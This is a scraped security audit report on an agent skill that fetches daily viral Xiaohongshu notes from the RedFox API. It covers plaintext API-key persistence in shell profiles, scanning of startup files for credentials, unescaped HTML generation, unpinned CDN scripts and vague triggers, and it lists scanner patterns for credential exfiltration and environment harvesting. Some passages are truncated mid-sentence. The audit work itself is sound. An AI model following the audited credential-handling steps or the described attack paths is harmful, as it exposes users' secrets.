T05 · Unauthorized Access and Privilege Escalation
Warning
- Location
scripts/xhs_daily_fetcher.py:27- Finding
Shell startup files are scanned to discover and transmit API credentials
- Content
View full analysis
- Remediation
View remediation
Security audit
小红书每日爆款笔记
Security checks for vulnerabilities and agentic risk
Overview
The skill has a coherent trend-reporting purpose, but its API-key handling and generated HTML introduce enough security risk that users should review it before installing.
Install only if you are comfortable sending a RedFox API key and query metadata to redfox.hk. Prefer a session-scoped environment variable or secret manager instead of letting an agent write or echo the key in shell profiles. Treat generated HTML and JSON cache inputs as untrusted, and be aware that reports load JavaScript from a CDN when opened. Enable daily subscription only with clear intent and a known cancellation path.
Vulnerability Patterns
- Unauthorized Access and Privilege EscalationObtains permissions beyond the task's legitimate needs
- Insecure DependenciesIntroduces malicious components through unsafe dependency sources
- Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
- Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
- Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
Findings (5)
T09 · Insecure Skill Coding Practices
Warning
- Location
references/core_workflow.md:35- Finding
Instructions persist and display the API key in plaintext
- Content
View full analysis
`; if the user cannot configure it, the Agent should actively help: - **macOS/Linux**: append `export REDFOX_API_KEY=` to `~/.zshrc` or `~/.bashrc`, and then source the corresponding file. - **Windows**: use `[Environment]::SetEnvironmentVariable("REDFOX_API_KEY", "", "User")` to create a persistent user-level environment variable. - Verify it using `echo $REDFOX_API_KEY` or `echo %REDFOX_API_KEY%`. ``` The corresponding command in `SKILL.md` is: ```bash echo 'export REDFOX_API_KEY=' >> ~/.zshrc source ~/.zshrc ``` ### Technical Analysis The workflow directs the Agent to write a long-lived API credential into plaintext shell startup files or a persistent user-level Windows environment variable. It then recommends printing the full value with `echo`. Persistent plaintext storage is not required to perform a single ranking query. Shell profiles are commonly included in backups, support bundles, dotfile repositories, and terminal troubleshooting output. Printing the value can additionally expose it through terminal capture, command logs, Agent transcripts, or screen sharing. The instructions also seek to make the key readable by other Skills, explicitly broadening its availability beyond this Skill's immediate task. ### Attack Path 1. A user provides a RedFox API key during setup. 2. The Agent follows the mandatory workflow and appends the key to a shell profile or creates a persistent user-level variable. 3. The workflow verifies the configuration by printing the full value. 4. The key re ...[truncated 778 chars]- Remediation
View remediation
T09 · Insecure Skill Coding Practices
Error
- Location
scripts/gen_xhs_html.py:527- Finding
Untrusted API and cache values are inserted into generated HTML without contextual escaping
- Content
View full analysis
{page_title} ... ...📱 小红书每日爆款笔记 {category}
... ''' ``` Cache contents are accepted as an input source: ```python with open(args.input_json, 'r', encoding='utf-8') a ...[truncated 2822 chars]- Remediation
View remediation
`, `&`, and the `` sequence, or store the JSON in a non-executable element and parse its text content. 7. Add a restrictive Content Security Policy that disallows inline event handlers and unapproved network destinations. 8. Treat cache files as untrusted input and validate their schema, types, maximum lengths, URL schemes, and allowed fields before generation. 9. Add regression tests using quote-breaking attributes, `javascript:` links, HTML elements, and `
T08 · Insecure Dependencies
Warning
- Location
scripts/gen_xhs_html.py:307- Finding
Generated and bundled reports execute remote JavaScript without integrity verification
- Content
View full analysis
``` ### Technical Analysis Every generated report and the bundled example report load executable JavaScript from `cdnjs.cloudflare.com` when opened. The URLs identify versions, but the script tags do not include Subresource Integrity hashes, `crossorigin` controls, or a restrictive Content Security Policy. Consequently, the effective JavaScript payload is not fully contained in the reviewed Skill package. Compromise of the CDN, its account or deployment pipeline, DNS resolution, a trusted interception point, or the upstream hosted asset could cause different code to execute after the Skill has been audited. The report is described as independently openable, but it is not self-contained and makes external network requests on load. ### Attack Path 1. The user generates or opens an included HTML report. 2. The browser requests `html2canvas` and `jspdf` from the external CDN. 3. The external resource or delivery path serves altered JavaScript. 4. The browser executes that code with the same page privileges as the report. 5. The malicious dependency reads report data, modifies displayed results, redirects the user, or transmits accessible data to an attacker-controlled destination. ### Impact Assessment A successful supply-chain or delivery-path compromise permits arbitrary JavaScript execution in every report opened while the malicious asset is served. The code can access the complete report DOM, ranking records embedded in the page, and browser-accessible state associated with the report context. Opening a report also d ...[truncated 183 chars]- Remediation
View remediation
``` 3. Add a restrictive Content Security Policy that permits scripts only from explicitly approved locations and blocks inline script execution where feasible. 4. Document that opening the report requires network access and contacts the CDN. 5. Establish a dependency-update process that verifies hashes and reviews release changes before updating versions. 6. Apply the same remediation to both the generator template and the committed `scripts/xhs_weekly.html` artifact. ]]>
T08 · Insecure Dependencies
Note
- Location
SKILL.md:43- Finding
Installation guidance uses an unpinned Python dependency
- Content
View full analysis
- Remediation
View remediation
Vulnerability Patterns
- Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
- Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
- Excessive AgencyUnrestricted Tool Access, Autonomous Decision Making, Scope Creep
- Trigger AbuseOverly Broad Trigger, Shadow Command Trigger, Keyword Baiting Trigger
- Taint TrackingDirect Taint Flow, Variable-Mediated Taint Flow, Credential Exfiltration Chain
Findings (27)
Tainted flow: 'headers' from os.environ.get (line 196, credential/environment) → requests.get (network output)
Critical
- Category
- Data Flow
- Confidence
- 90% confidence
- Finding
Credentials or environment variables flow to a network sink. This is a high-confidence indicator of credential exfiltration.
- Content
python try: # 接口仅支持 GET（query 参数）；POST 会返回系统错误 response = requests.get(REDFOX_API_BASE, params=params, headers=headers, timeout=30) if response.status_code >= 400: return {"fetch_time": rank_date + " 19:00", "query_type": "日榜", "category": category, "hot_list": []}
Tainted flow: 'headers' from os.environ.get (line 175, credential/environment) → requests.get (network output)
Critical
- Category
- Data Flow
- Confidence
- 90% confidence
- Finding
Credentials or environment variables flow to a network sink. This is a high-confidence indicator of credential exfiltration.
- Content
python try: # 接口仅支持 GET（query 参数）；POST 会返回系统错误 response = requests.get(REDFOX_API_BASE, params=params, headers=headers, timeout=30) if response.status_code >= 400: raise Exception(f"HTTP请求失败: {response.status_code}, {response.text}")
Context-Inappropriate Capability
High
- Category
- Not specified by scanner
- Confidence
- 98% confidence
- Finding
The workflow explicitly instructs the agent to persistently modify the user's shell/profile or Windows user environment to store an API key, and even says the agent should proactively help perform that setup. This crosses from content retrieval into privileged system modification involving sensitive credentials, increasing the risk of credential exposure, unintended persistence, and changes that affect future sessions and unrelated tools.
- Content
Missing User Warnings
High
- Category
- Not specified by scanner
- Confidence
- 98% confidence
- Finding
The document directs the agent to help persistently configure an API key but omits strong warnings about secret handling, profile-file modification, cross-shell persistence, and the security implications of storing credentials in plain environment configuration. That makes accidental disclosure, overbroad persistence, and unsafe handling of secrets much more likely.
- Content
Vague Triggers
Medium
- Category
- Not specified by scanner
- Confidence
- 94% confidence
- Finding
The README instructs users to invoke the skill with broad natural-language requests and says no commands need to be memorized, but it does not define clear activation boundaries. In an agent environment, this can cause accidental triggering from ordinary conversation, making the skill run on ambiguous user text and increasing the chance of unintended external data access or actions such as subscriptions.
- Content
Whitespace Padding
Medium
- Category
- Prompt Injection
- Confidence
- 70% confidence
- Finding
Large whitespace padding was detected (a block of blank lines or a long run of spaces). This can push injected instructions below or to the right of the visible area so a human reviewer never sees them while the agent still reads them. Manual review of the hidden content is recommended.
- Content
md ### Quick Reference | Intent | Example phrase | Result | | ------------------------- | ---------------------------------------------- | ------------------------------------------------------------------------------------------------------------- | | Query today's virals | `Show me viral notes about mascara` | Auto-matches category, outputs today's breakout TOP20 + three-dimension analysis + HTML + subscription option | | Query general hot content | `What's trending on Xiaohongshu lately?` | Uses "All" category, full four-section output |
Vague Triggers
Medium
- Category
- Not specified by scanner
- Confidence
- 91% confidence
- Finding
The example query 'What's trending on Xiaohongshu lately?' is a very generic conversational request that can easily overlap with normal chat. In a multi-skill or agent setting, such a loose trigger can cause unintended skill selection, resulting in unplanned API usage, data retrieval, or downstream actions based on user text that was not meant as a tool invocation.
- Content
Vague Triggers
Medium
- Category
- Not specified by scanner
- Confidence
- 96% confidence
- Finding
The README states "直接用自然语言描述需求，无需记忆命令", which implies the skill may activate from unrestricted everyday phrasing rather than a narrowly defined command set. This ambiguity is reinforced by examples like "帮我查一下..." and "最近小红书有什么热门内容", which overlap with ordinary conversational requests and do not define clear boundaries or exclusions.
- Content
Undeclared Tool Scope
Medium
- Category
- MCP Least Privilege
- Confidence
- 91% confidence
- Finding
The skill documents capabilities that read environment variables, read/write local files, and make network requests, but it does not declare any explicit tool scope or permission boundaries. In agent platforms, missing scope metadata can cause overbroad tool exposure or make review and runtime enforcement impossible, increasing the chance of unintended secret access, file writes, or external data exfiltration.
- Content
Vague Triggers
Medium
- Category
- Not specified by scanner
- Confidence
- 95% confidence
- Finding
The trigger examples around free-form phrases like querying hot content or keyword-based requests are broad enough that an agent may activate the skill during ordinary conversation without clear user intent. This can lead to unintended network calls, use of API-backed features, file generation, or subscription actions when the user was only asking generally about trends or examples.
- Content
Vague Triggers
Medium
- Category
- Not specified by scanner
- Confidence
- 93% confidence
- Finding
The usage guidance includes ambiguous commands such as broad category requests, '查看更多', and numeric shortcuts like '1' or '2', which are unsafe without strict conversational state checks. In a multi-turn agent setting, these generic replies can be misinterpreted outside the intended workflow and trigger subscriptions or HTML generation unexpectedly.
- Content
Natural-Language Policy Violations
Medium
- Category
- Not specified by scanner
- Confidence
- 81% confidence
- Finding
文档标题及整体输出规范均默认并强制中文内容与中文固定文案，未见提供用户语言偏好选择或英文等替代输出方式。对于通用技能文档，这会构成语言/locale 强制要求而缺少用户 opt-in。
- Content
Context-Inappropriate Capability
Medium
- Category
- Not specified by scanner
- Confidence
- 86% confidence
- Finding
The skill advertises a subscription/push capability beyond an on-demand query tool, enabling recurring autonomous actions and outbound delivery. In an agent context, this broadens the operational scope and can cause unsolicited future actions, especially when combined with vague triggers and mandatory output behavior.
- Content
Vague Triggers
Medium
- Category
- Not specified by scanner
- Confidence
- 93% confidence
- Finding
The trigger condition is very broad, covering generic discussion of popular content and trend analysis, which raises the chance of accidental activation during ordinary conversation. In this skill, that matters because activation can lead to external API use, credential checks, and prescribed follow-on actions without a narrowly scoped user request.
- Content
Whitespace Padding
Medium
- Category
- Prompt Injection
- Confidence
- 70% confidence
- Finding
Large whitespace padding was detected (a block of blank lines or a long run of spaces). This can push injected instructions below or to the right of the visible area so a human reviewer never sees them while the agent still reads them. Manual review of the hidden content is recommended.
- Content
md **💡热门内容分析** | 内容分类 | 内容特征 | 实际效果 | 参考笔记 | | :------- | :--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | :------------ | :--------------------------------- | | 封面设计 | 采用高清摄影或设计软件精心制作的封面图，画面构图饱满、色彩搭配协调，同时加入醒目的文字标题或标签，突出核心卖点或吸引眼球的元素，通过强烈的视觉冲击力在用户快速浏览时瞬间抓住注意力 | 点击率提升45% | [笔记标题链接1]<br>[笔记标题链接2] | | 内容创作 | 围绕用户痛点或情感共鸣点展开叙事，采用第一人称视角分享真实经历或心得，结合表情符号和分段排版增强可读性，适当设置悬念或反转，激发用户的情感共鸣和参与欲望 | 互动率提升50% | [笔记标题链接3]<br>[笔记标题链接4] |
Whitespace Padding
Medium
- Category
- Prompt Injection
- Confidence
- 70% confidence
- Finding
Large whitespace padding was detected (a block of blank lines or a long run of spaces). This can push injected instructions below or to the right of the visible area so a human reviewer never sees them while the agent still reads them. Manual review of the hidden content is recommended.
- Content
md **📈爆款标题分析** | 标题类型 | 标题特征 | 标题模版 | 发布规律 | 参考标题 | | :------- | :----------------------------------------------------------------------------------------------------------------- | :--------------- | :------------------- | :----------------------- | | 提问式 | 标题以疑问句开头，设置悬念或提出用户关心的问题，引发用户的好奇心和思考欲望，激发点击阅读或评论互动 | "你还在XX吗？" | 工作日早高峰效果最佳 | 这个方法你还在用吗？ | | 数字式 | 标题中包含具体的数字、数量或统计数据，利用人们对量化信息的偏好，增强内容的可信度和专业感，让用户觉得内容有价值 | "XX个XX技巧" | 午餐时间点击率高 | 5个快速提升XX的技巧 |
Intent-Code Divergence
Medium
- Category
- Not specified by scanner
- Confidence
- 97% confidence
- Finding
The workflow states that after keyword matching, the agent should not tell the user which category was matched. However, the mandatory title format later requires outputting '【{分类名称}】每日爆款笔记', which necessarily reveals the matched category, so the documentation contradicts itself about intended behavior.
- Content
Context-Inappropriate Capability
Medium
- Category
- Not specified by scanner
- Confidence
- 97% confidence
- Finding
The script scans local shell startup files such as .zshrc and .bashrc to extract REDFOX_API_KEY, which expands its access to sensitive local configuration beyond what is necessary for trend-query functionality. Even though it targets one variable name, reading shell profiles creates unnecessary exposure to secrets and local environment details and can surprise users who did not consent to that access.
- Content
Missing User Warnings
Medium
- Category
- Not specified by scanner
- Confidence
- 96% confidence
- Finding
Reading shell profile files for credentials without an explicit, user-facing warning is a sensitive local-data access behavior that exceeds normal expectations for an HTML report generator. This can expose secrets stored in startup files and undermines least-privilege handling of local credentials.
- Content
Missing User Warnings
Medium
- Category
- Not specified by scanner
- Confidence
- 86% confidence
- Finding
This request transmits the user's API key in the X-API-KEY header and sends query parameters including category and date to an external service. While the file docstring says data is fetched from an API, the code does not provide a direct runtime disclosure that credentials and request metadata are being sent off-host.
- Content
Context-Inappropriate Capability
Medium
- Category
- Not specified by scanner
- Confidence
- 95% confidence
- Finding
The script scans local shell profile files such as ~/.zshrc and ~/.bashrc to extract REDFOX_API_KEY without explicit user consent at runtime. This expands the skill's access beyond its stated purpose of fetching trend data and creates unnecessary local secret-discovery behavior; if the skill or surrounding environment were compromised, this pattern would normalize reading sensitive local configuration files.
- Content
Missing User Warnings
Medium
- Category
- Not specified by scanner
- Confidence
- 96% confidence
- Finding
Reading API credentials directly from shell startup files is a privacy and secret-handling issue because those files may contain unrelated credentials and personal configuration. The behavior is especially risky in an agent skill, where users may not expect the tool to inspect local profile files simply to obtain a network API token.
- Content
Description-Behavior Mismatch
Medium
- Category
- Not specified by scanner
- Confidence
- 91% confidence
- Finding
The script can write raw fetched data to an arbitrary local path via --output_json, which is broader than the skill description and can overwrite files the current user has permission to modify. In a skill context, arbitrary file write capabilities are sensitive because they can be repurposed for persistence, data staging, or tampering with local files if an untrusted caller controls the argument.
- Content
Natural-Language Policy Violations
Low
- Category
- Not specified by scanner
- Confidence
- 87% confidence
- Finding
All user-facing instructions, examples, command phrases, and workflow guidance are presented exclusively in Chinese, and the skill does not state that language selection is optional or limited for a documented regional-compliance reason. Under the policy, forcing a specific language without user opt-in is a natural-language policy concern.
- Content
Description-Behavior Mismatch
Low
- Category
- Not specified by scanner
- Confidence
- 88% confidence
- Finding
The generated HTML loads html2canvas and jsPDF from third-party CDNs at render time, introducing remote code execution in the browser context via externally hosted scripts. If the CDN resource is compromised, replaced, or blocked, users opening the generated report may execute attacker-controlled JavaScript or experience broken functionality.
- Content
Static analysis
Detected: suspicious.exposed_secret_literal
File appears to expose a hardcoded API secret or token.
Critical
- Code
- suspicious.exposed_secret_literal
- Location
- scripts/gen_xhs_html.py:194
File appears to expose a hardcoded API secret or token.
Critical
- Code
- suspicious.exposed_secret_literal
- Location
- scripts/xhs_daily_fetcher.py:173